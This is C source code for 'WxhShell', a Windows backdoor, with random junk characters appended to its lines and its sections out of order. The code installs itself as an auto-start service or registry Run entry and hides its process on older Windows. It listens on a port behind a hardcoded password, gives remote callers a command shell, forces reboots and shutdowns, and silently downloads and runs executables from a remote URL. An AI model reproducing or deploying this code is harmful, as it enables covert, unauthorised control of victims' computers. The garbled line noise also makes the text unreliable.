    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n6s[q- td  
    if(Boot(SHUTDOWN)) =s$UU15  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xO2CgqEb  
    else { p}O[A`  
    closesocket(wsh); kxVR#:  
    ExitThread(0); >'96SE3  
    } X*Cvh|  
    break; R`!'c(V  
    } ^Y- S"Ks  
  // 获取shell `u7"s'  
  case 's': { iP^o]4[c  
    CmdShell(wsh); "Zq)y_1  
    closesocket(wsh); S67>yqha  
    ExitThread(0); @Zov&01  
    break; -iJ @K  
  } ,CA3Q.y>|  
  // 退出 ]\Q9j7}37+  
  case 'x': { <\C/;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); } qn@8}  
    CloseIt(wsh); i*-L_!cc:  
    break; H_<hZ UB  
    } Ed=]RR 4R  
  // 离开 F9 q9BH  
  case 'q': { Xj("  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -P'KpX:]hd  
    closesocket(wsh); Vv3{jn6%  
    WSACleanup(); B2DWSp-8*  
    exit(1); tWN hFQ'  
    break; `oUuAL  
        } VL O !hA#  
  } d0MF\yxh  
  } B>"O~ gZ{#  
&]mZp&  
  // 提示信息 "ZU CYYre  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i`)h~V|G  
} Az"(I>VfD  
  } DEcsFC/SK  
38Bh9>c3  
  return; )r^)e 4UI  
} BQTibd  
i1E~F  
// shell模块句柄 <>tQa5;  
int CmdShell(SOCKET sock) 7(oX 1hN  
{ q V +gQ  
STARTUPINFO si; _K5R?"H0  
ZeroMemory(&si,sizeof(si)); 8Q2qroT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5o&noRIIr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sa26u`?  
PROCESS_INFORMATION ProcessInfo; FhkS"y  
char cmdline[]="cmd"; >|S&@<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D#I^;Xg0h  
  return 0; _R 6+bB$  
} ToVi;  
2l#c?]TA  
// 自身启动模式 YAoGVey  
int StartFromService(void) f,_EPh>  
{ #uzp  
typedef struct <*4BT}r,^2  
{ BD (Y =g  
  DWORD ExitStatus; >.)m|,  
  DWORD PebBaseAddress; :g`j gn 0  
  DWORD AffinityMask; ][IEzeI_LN  
  DWORD BasePriority; )* \N[zm  
  ULONG UniqueProcessId; m\hzQ9  
  ULONG InheritedFromUniqueProcessId; ?Dr K2;q  
}   PROCESS_BASIC_INFORMATION; 6 ?C|pO  
+=Q/'g   
PROCNTQSIP NtQueryInformationProcess; S);SfNh%CL  
)*wM DM5q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E1&9( L5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +%%Ef]  
}+{ ? Ms  
  HANDLE             hProcess; } qf=5v  
  PROCESS_BASIC_INFORMATION pbi; f=L&>X  
X*^^W_LH.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $k|:V&6SV  
  if(NULL == hInst ) return 0; :p@.aD5  
&Oih#I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VoTnm   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UbnX%2TW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hido[  
1YrIcovi-  
  if (!NtQueryInformationProcess) return 0; Z Vin+z  
$xK2M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'fGB#uBt  
  if(!hProcess) return 0; $gv3Up"U  
7`c\~_Df_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y| 7sh  
~.*G%TW &V  
  CloseHandle(hProcess); .a0]1IkatV  
$k,wA8OZ-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A./ VO  
if(hProcess==NULL) return 0; Q,f~7IVX  
b-+~D9U <  
HMODULE hMod; Sl!#!FGI  
char procName[255]; {|E'  
unsigned long cbNeeded; [K=M; $iQ  
]"2;x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PXRkK63  
vo]!IY  
  CloseHandle(hProcess); iiw\  
R. (fo:ve>  
if(strstr(procName,"services")) return 1; // 以服务启动 >OLKaghV.5  
+~x'1*A_  
  return 0; // 注册表启动 U $2"ZyFii  
} 'BiR ,M$mY  
Nf!g1D"U  
// 主模块 FoNkISzW  
int StartWxhshell(LPSTR lpCmdLine) KmYSYNr@,  
{ @BfJb[A#  
  SOCKET wsl; +&*D7A>~p  
BOOL val=TRUE; ieL7jN,'m  
  int port=0; j TyR+#Wn  
  struct sockaddr_in door; $5]}]  
`k.Tfdu)K  
  if(wscfg.ws_autoins) Install(); :Rftn6!  
<l.l6okp  
port=atoi(lpCmdLine); X"k:+  
VL?sfG0  
if(port<=0) port=wscfg.ws_port; z]%c6ty  
#B!HPlrv  
  WSADATA data; lM |}K-2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '-l.2IUyT  
vH?rln  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;}dvc7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /=(PMoZu  
  door.sin_family = AF_INET; E^`-:L(_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J85S'cwZZ  
  door.sin_port = htons(port); TFAd  
yp!7^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1VR|z  
closesocket(wsl); H,3WdSL`K  
return 1; ib\_MNIb  
}  Iysp)  
ogvB{R  
  if(listen(wsl,2) == INVALID_SOCKET) { jAcrXB*  
closesocket(wsl); >\o._?xSA  
return 1; KSAE!+  
} W>j@E|m$  
  Wxhshell(wsl); t }YT+S  
  WSACleanup(); @g5qcjD'[  
4Jf9N'  
return 0; r,HIoeAKP  
q"e]\Tb=we  
} $3 =S\jyfK  
nCS" l5  
// 以NT服务方式启动 `*ALb|4ilG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bgYUsc*uR  
{ H:F'5Zt  
DWORD   status = 0; %6W%-`  
  DWORD   specificError = 0xfffffff; {[)n<.n[g  
vB%os Qm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +,1 Ea )  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1N}vz(0"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eBWgAf.k  
  serviceStatus.dwWin32ExitCode     = 0; 4q"4N2  
  serviceStatus.dwServiceSpecificExitCode = 0; <Ej`zGhWz  
  serviceStatus.dwCheckPoint       = 0; 4D}hYk$eP0  
  serviceStatus.dwWaitHint       = 0; = inp>L  
Gsu?m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #\8"d  
  if (hServiceStatusHandle==0) return; k2O3{xIjc  
4l`[,BJ  
status = GetLastError(); \c}pzBFd  
  if (status!=NO_ERROR) aH?+^f"D  
{ >r3SF3XMq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _CMNmmp`e  
    serviceStatus.dwCheckPoint       = 0; 7Fx0#cS"\  
    serviceStatus.dwWaitHint       = 0; Yi j^hs@eV  
    serviceStatus.dwWin32ExitCode     = status; hXh nJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; DF>3)oTF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4a=QTq0p  
    return; aka)#0l .  
  } FP'-=zgc  
7^7Jh&b)/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #U(kK(uO  
  serviceStatus.dwCheckPoint       = 0; `&9iC 4P  
  serviceStatus.dwWaitHint       = 0; E&N~ h|CL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3$_JNF`  
} dmWCNeja.  
T#<Q[h=  
// 处理NT服务事件,比如:启动、停止 (6Ciqf8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !nsx!M  
{ %:v<&^oDlm  
switch(fdwControl) ?>Ngsp>-P  
{ 2?{'(i ay  
case SERVICE_CONTROL_STOP: 9:*[Q"v  
  serviceStatus.dwWin32ExitCode = 0; 6>]w1 H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;0U*N& f  
  serviceStatus.dwCheckPoint   = 0; HbRvU}C1  
  serviceStatus.dwWaitHint     = 0; iB|htH'T  
  { nV`U{}x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DL<;qhte  
  } ,{;*b v  
  return; #jh5%@  
case SERVICE_CONTROL_PAUSE: THlQifA!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =I aWf  
  break; u M\5GK  
case SERVICE_CONTROL_CONTINUE: -xG6J.S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bi2 c5[3  
  break; shR|  
case SERVICE_CONTROL_INTERROGATE: UwxszEHC  
  break; e#)NYcr6  
}; P{x6e/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Z p|1J'"  
} !S%0#d2  
1F_$[iIX]  
// 标准应用程序主函数 \,fa"^8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PXyv);#Q`  
{ Cv@)tb  
{-lpYD^k3  
// 获取操作系统版本 !,dp/5 V  
OsIsNt=GetOsVer(); }i{qRx"4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O}w%$ mq  
I tb_ H  
  // 从命令行安装 zE<Iv\Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); )Gm9x]SVl  
BA2J dU  
  // 下载执行文件 +4  h!;i  
if(wscfg.ws_downexe) {  \_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3vKTCHbk9  
  WinExec(wscfg.ws_filenam,SW_HIDE); v2I? 5?j  
} |RXQ_|  
_!E&%=f  
if(!OsIsNt) { )o<^6Ic%7  
// 如果时win9x,隐藏进程并且设置为注册表启动 KIcIYCBz  
HideProc(); sPG500=)  
StartWxhshell(lpCmdLine); qvLh7]sbK:  
} yVgC1-8i*  
else T9I$6HAi  
  if(StartFromService()) "g)V&Lx#X  
  // 以服务方式启动 t>AOF\  
  StartServiceCtrlDispatcher(DispatchTable); =7JSJ98  
else WQ}wQ:]  
  // 普通方式启动 m^0vux  
  StartWxhshell(lpCmdLine); qY$ [2]  
NYr)=&)Ke.  
return 0; d!UxFY@  
} co~NXpqg  
yQ$]`hr;  
7FJ4;HLQ  
c -PZG|<C[  
=========================================== TZ+ p6M8G  
araXE~Ac  
s[sv4hq  
14" 57Jt8  
J jm={+@+  
eZ+6U`^t  
" w|6/i/X  
q" f65d4c  
#include <stdio.h> vc&v+5Y  
#include <string.h> pY@QR?F\  
#include <windows.h> !6 L!%Oi  
#include <winsock2.h> Pmo<t6  
#include <winsvc.h> :dh; @kp  
#include <urlmon.h> &92/qRh7  
tsJR:~  
#pragma comment (lib, "Ws2_32.lib") oX8EY l  
#pragma comment (lib, "urlmon.lib") mEbI\!}H0  
^?Mp(o  
#define MAX_USER   100 // 最大客户端连接数 @lF?+/=$  
#define BUF_SOCK   200 // sock buffer t^KQ*8clG  
#define KEY_BUFF   255 // 输入 buffer Ku%tM7ad  
Ny^f'tsA  
#define REBOOT     0   // 重启 }%8ZN :  
#define SHUTDOWN   1   // 关机 0cE9O9kE  
p<=Lh47 =  
#define DEF_PORT   5000 // 监听端口 uE41"?GS  
In^mE(8YO  
#define REG_LEN     16   // 注册表键长度 Uffwzd!  
#define SVC_LEN     80   // NT服务名长度 #|ts1lD#ah  
",.f   
// 从dll定义API B=r DU$z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^hiY6N &  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KCW2 UyE]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ga5*tWj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xy]O8> b  
**L&I5Hhm  
// wxhshell配置信息 p X{wEc6}  
struct WSCFG { 1,%`vlYv  
  int ws_port;         // 监听端口 60vmjmXl  
  char ws_passstr[REG_LEN]; // 口令 \1jThJn  
  int ws_autoins;       // 安装标记, 1=yes 0=no jkx>o?s)z  
  char ws_regname[REG_LEN]; // 注册表键名 jel:oy|_  
  char ws_svcname[REG_LEN]; // 服务名 }q`9U!v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  C3{hf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?a3 wBy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aL4^ po  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rP3tFvOH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xy7A^7Li  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *: @KpYWx"  
n82tZpn  
}; zPa2fS8  
LN WS  
// default Wxhshell configuration "t&=~eOe3  
struct WSCFG wscfg={DEF_PORT, j*<J&/luYZ  
    "xuhuanlingzhe", <7VLUk}  
    1, xeSch?}  
    "Wxhshell", iRnjN  
    "Wxhshell", LDc EjFK(  
            "WxhShell Service", #\w N2`" W  
    "Wrsky Windows CmdShell Service", 1H-Y3G>jN  
    "Please Input Your Password: ", U L $!  
  1, Q3 8+`EhLA  
  "http://www.wrsky.com/wxhshell.exe", <E4(KE  
  "Wxhshell.exe" Tse#{  
    }; GIM/T4!)  
q$:7j5E  
// 消息定义模块 a#=d{/ ab  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'z;(Y*jb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xx{| [2`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VGc*aQYa  
char *msg_ws_ext="\n\rExit."; b^$`2m-?@f  
char *msg_ws_end="\n\rQuit."; ZLT?G  
char *msg_ws_boot="\n\rReboot..."; /AD&z?My+E  
char *msg_ws_poff="\n\rShutdown..."; j~k,d.17M  
char *msg_ws_down="\n\rSave to "; /e0B$UymFu  
dn#I,xa`  
char *msg_ws_err="\n\rErr!"; f?UI+TU  
char *msg_ws_ok="\n\rOK!"; k9}8xpH  
%=UD~5!G0  
char ExeFile[MAX_PATH]; BA c+T  
int nUser = 0; KMj\A d  
HANDLE handles[MAX_USER]; }#FV{C]  
int OsIsNt; wuH*a3(  
+Ww] %`_  
SERVICE_STATUS       serviceStatus; MW 7~=T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; * @4@eQF  
9fEe={ B+  
// 函数声明 'Gn>~m  
int Install(void); T]De{nHu  
int Uninstall(void); SA +d4P_T  
int DownloadFile(char *sURL, SOCKET wsh); +c))fPuV  
int Boot(int flag); e"t0 rScA  
void HideProc(void); $Q/@5f'T`9  
int GetOsVer(void); HDH G~<s  
int Wxhshell(SOCKET wsl); -i`jS_-Cv-  
void TalkWithClient(void *cs); +& B?f  
int CmdShell(SOCKET sock); .t_t)'L  
int StartFromService(void); 5G`HJ6  
int StartWxhshell(LPSTR lpCmdLine); hI:.Qp`r  
']1n?K=A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IE`3I#v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r%.k,FzGZY  
0V1GX~2  
// 数据结构和表定义 TmG);B}  
SERVICE_TABLE_ENTRY DispatchTable[] = 7%Y`j/  
{ +-j-)WU?,  
{wscfg.ws_svcname, NTServiceMain}, V'&;r'#O  
{NULL, NULL} D5lQ0_IeW  
}; VvyRZMR  
tP@NQCo  
// 自我安装 i//H5D3  
int Install(void) \ASt&'E  
{ SY +0~5E  
  char svExeFile[MAX_PATH]; f kZHy|m  
  HKEY key;  g{Hgs  
  strcpy(svExeFile,ExeFile); /TpTR-\I0  
*D?_,s  
// 如果是win9x系统,修改注册表设为自启动 "U}kp#)  
if(!OsIsNt) { l r&7 qu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qPQIcJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lp *GJP]T  
  RegCloseKey(key); /}m)FaAi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .g8*K "  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u"HGT=Nl  
  RegCloseKey(key); b(0<,r8  
  return 0; .$&^yp  
    } -!PJHCLd  
  } j}^w :W76  
} AM}2=Ip  
else { ;ek*2Lh  
Y :!L  
// 如果是NT以上系统,安装为系统服务 2`4m"DtA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FgH7YkKrD  
if (schSCManager!=0) {XOl &  
{ i1B!oZ3q  
  SC_HANDLE schService = CreateService t1?aw<  
  ( Z mJ<h&  
  schSCManager, n~ *|JJ*`  
  wscfg.ws_svcname, nQiZ6[L  
  wscfg.ws_svcdisp, 8ZY]-%  
  SERVICE_ALL_ACCESS, E8!`d}\#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v)+g<!  
  SERVICE_AUTO_START, bXs=<`>  
  SERVICE_ERROR_NORMAL, $%~ JG(  
  svExeFile, }^&S^N 7  
  NULL, LCB-ewy#E  
  NULL, \4N8-GwZQ  
  NULL, ;QBS0x\f@  
  NULL, : "85w#r  
  NULL s)E  \  
  ); }X)vktE+|  
  if (schService!=0) O%EA ,5U.  
  { ["3dr@T9Z  
  CloseServiceHandle(schService); &&&-P\3  
  CloseServiceHandle(schSCManager); 4,)9@-|0R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1$&@wG  
  strcat(svExeFile,wscfg.ws_svcname); L_Ok?9$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bT ,_=7F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?\o~P  
  RegCloseKey(key); Xq135/d  
  return 0; cwmS4^zt8  
    } v #+ECx  
  } tAv3+  
  CloseServiceHandle(schSCManager); aZmN(AJ8v  
} ,Wlt[T(.;  
} /JR+WmO  
n\"6ol}>E  
return 1; %66="1z0@  
} t /+;#-  
 cyl%p$  
// 自我卸载 *{ rorir  
int Uninstall(void) +bznKy!  
{ 1=)M15  
  HKEY key; kq}byv}3I  
tpJA~!mG3  
if(!OsIsNt) { Q4u.v,sE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {'IO  
  RegDeleteValue(key,wscfg.ws_regname); 11oNlgY&  
  RegCloseKey(key); kOydh(yE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _*o <<C\E  
  RegDeleteValue(key,wscfg.ws_regname); Xz^nm\  
  RegCloseKey(key); ^^b'tP1>  
  return 0; 7a"06Et^  
  } PeJ#9hI~rQ  
} mUg :<.^  
} ^%7(  
else { ]rv\sD`[  
! 6(3Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  V9) /  
if (schSCManager!=0) gc A:Q4  
{ `]KX`xGK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -pC'C%Q  
  if (schService!=0) AT&K>NG  
  { eAlOMSL\  
  if(DeleteService(schService)!=0) { \;&;K'   
  CloseServiceHandle(schService); G Aj%o]}u  
  CloseServiceHandle(schSCManager); Blxa0&3  
  return 0; od)TQSo  
  } _LaG%* R6  
  CloseServiceHandle(schService); 3x;UAi+&  
  } cUR :a @  
  CloseServiceHandle(schSCManager); gv`_+E{P  
} 9S%5 Z>  
} ;\pVc)\4"  
aj5HtP-  
return 1; 'gf[Wjb,%  
} g#$ C8k  
oP,*H6)i  
// 从指定url下载文件 n6oOk nCna  
int DownloadFile(char *sURL, SOCKET wsh) A)U"F&tvm  
{ v5M4Rs&t  
  HRESULT hr; h*fN]k6  
char seps[]= "/"; M/W"M9u  
char *token; o|@0.H|  
char *file; =o 9s?vOJ  
char myURL[MAX_PATH]; SoU(fI[6  
char myFILE[MAX_PATH]; =Kkqk  
AX v q~XE  
strcpy(myURL,sURL); Qf~>5(,h  
  token=strtok(myURL,seps); ]yPK}u  
  while(token!=NULL) :BPgDLL,  
  { kPX+n+$  
    file=token; (%B{=w}8  
  token=strtok(NULL,seps); `H! (hMMV  
  } ^{}G4BEY  
NTu |cX\R  
GetCurrentDirectory(MAX_PATH,myFILE); j=O+U _w  
strcat(myFILE, "\\"); .aNh>`OT'  
strcat(myFILE, file); >kQp@r\nQ  
  send(wsh,myFILE,strlen(myFILE),0); sBadiDG~9  
send(wsh,"...",3,0); #Pg#\v|7#>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F+hV'{|w`  
  if(hr==S_OK) 8Yq06o38C  
return 0; +@rFbsyJ.  
else TanWCt4r  
return 1; ZO%^r%~s  
LQ~|VRRX<  
} 0 PYYG  
dEk#"cvg  
// 系统电源模块 HgY@M  
int Boot(int flag) "&={E{pQ  
{ 4;YP\{u  
  HANDLE hToken; QGpj$ _b  
  TOKEN_PRIVILEGES tkp; N?qETp-:  
)Eozo4~  
  if(OsIsNt) { +Csb8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JQKXbsXS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F7<mm7BGZ  
    tkp.PrivilegeCount = 1; RW&o3_Ua  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L/u|90) L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +ay C 0  
if(flag==REBOOT) { LaJvPOQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J&aN6l?  
  return 0; J2Dn  
} PlB3"{}0Q  
else { %NkiYiA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fS"u"]j*e  
  return 0; nuq@m0t\#  
} I2/am8!u%  
  } $[X][[  
  else { YhH3fVM  
if(flag==REBOOT) { zbFy3-RP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E3'I;  
  return 0; G u`xJ  
} WHC/'kvF  
else { (1CP]5W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5~h )pt47  
  return 0; kqeEm {I  
} $s _k/dM~&  
} M]o]D;N~l  
vl/!w2  
return 1; Cj>HMB}  
} Zz} o  t  
&n1Vv_Lb  
// win9x进程隐藏模块 Kl.*Q  
void HideProc(void) G `|7NL   
{ t`6]eRR  
$ #!oejLD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gOg7:VPG  
  if ( hKernel != NULL ) ]C^ #)7  
  { CG%bZco((  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mPA)G,^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GSRf/::I}4  
    FreeLibrary(hKernel); !PIg ,  
  } }C @xl9S"  
Py*WHHO  
return; ,It0brF  
} .M:&Aj)x16  
ZW;Ec+n_K  
// 获取操作系统版本 Qy9_tvq X  
int GetOsVer(void) :0@0muo  
{ |r+ x/,2-  
  OSVERSIONINFO winfo; 4]1/{</B|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6?,qysm06  
  GetVersionEx(&winfo); ~;oXLCL0})  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SXsszb:_  
  return 1; B}04E^  
  else |4DN2P  
  return 0; N@PuC>  
} ;\th.!'rn  
w#1BHx  
// 客户端句柄模块 4 6v C/  
int Wxhshell(SOCKET wsl) ">7xSWR*4  
{ p@78Xmu?q  
  SOCKET wsh; UG.:D';3,  
  struct sockaddr_in client; v^eAQoFLhN  
  DWORD myID; jW&*?6<  
oJM; CN  
  while(nUser<MAX_USER) tzN9d~JZ  
{ 6`2i'flv  
  int nSize=sizeof(client); FqJd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qVU<jt  
  if(wsh==INVALID_SOCKET) return 1; O\7x+^.  
X#T|.mCdC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6c+29@  
if(handles[nUser]==0) ~0CNCP  
  closesocket(wsh); h HHR]e5:  
else :#vA5kC  
  nUser++; DvhF CA}z  
  } ~d&&\EZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &DGqY5=  
G!`%.tH  
  return 0; =X(N+(1~  
} 'sAkrl8kt  
ty!DMg#  
// 关闭 socket `/1rZ#  
void CloseIt(SOCKET wsh) Q:) 4  
{ nGGw(6c%>  
closesocket(wsh); VP< zOk7  
nUser--; 6MOwn*%5k  
ExitThread(0); _9D]1f=&  
} e3n^$'/\r  
&LM@xt4"^[  
// 客户端请求句柄 \ MuKS4  
void TalkWithClient(void *cs) !_Y%+Rkp0  
{ &=t~_ Dc  
],AtR1k  
  SOCKET wsh=(SOCKET)cs; At>e4t2@  
  char pwd[SVC_LEN]; }vZfp5Y  
  char cmd[KEY_BUFF]; G l/3*J  
char chr[1]; 2G|}ENC  
int i,j; 2KXF XR  
C=;}7g  
  while (nUser < MAX_USER) { w*'DlP<7  
gD%o0 jt"  
if(wscfg.ws_passstr) { .z CkB86  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;xq;c\N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =l2 @'YQ  
  //ZeroMemory(pwd,KEY_BUFF); W\Il@Je;  
      i=0; 9Cd=^Im5  
  while(i<SVC_LEN) { B_#M)d O  
E>@]"O)=M,  
  // 设置超时 Wv5=$y  
  fd_set FdRead; >mQD/U  
  struct timeval TimeOut; a%y*e+oM  
  FD_ZERO(&FdRead); NjS<DzKhK  
  FD_SET(wsh,&FdRead); GQ Flt_  
  TimeOut.tv_sec=8; rSDI.m   
  TimeOut.tv_usec=0; 860y9wzU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q$Qr)mcC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :V"e+I  
xz:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "@ZwDg`  
  pwd=chr[0]; TH>uL;?=  
  if(chr[0]==0xd || chr[0]==0xa) { @6_w{6:b  
  pwd=0; WjVm{7?{  
  break; [ )X(Qtk  
  } Oc~<`C~  
  i++; ,X| >d  
    } kFQo[O]  
G{pF! q  
  // 如果是非法用户,关闭 socket  ]x1ba_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K\}qY dPF  
} C^JtJv  
/"!ck2d&1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WO69Wo\C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M$v\7vBgO!  
! j6CvclT  
while(1) { FBi&M Z`  
4 J9Y  
  ZeroMemory(cmd,KEY_BUFF); >]Mhkf/=)  
Ye^#]%m  
      // 自动支持客户端 telnet标准   varaBFD  
  j=0; 1h]nE/T.O  
  while(j<KEY_BUFF) { ).Z U0fV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f U<<GK70  
  cmd[j]=chr[0]; iMYJVB=  
  if(chr[0]==0xa || chr[0]==0xd) { 1jK2*y  
  cmd[j]=0; \Pfm>$Ib=  
  break; j`u2\ ;  
  } D(_j;?i  
  j++; ktY  
    } DBfq9%J _  
&4t=Y`]SL  
  // 下载文件 }P!:0w3  
  if(strstr(cmd,"http://")) { ?S)Pv53>}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4fL>Ou[YuX  
  if(DownloadFile(cmd,wsh)) \J~@r1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7CU<R9Kl  
  else 6C_H0a/h&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j%S} T)pX  
  } >U:.5Tch'V  
  else { 2Zq_zvKUt  
;k1VY Ie}  
    switch(cmd[0]) { #3C] "  
  \!)1n[N  
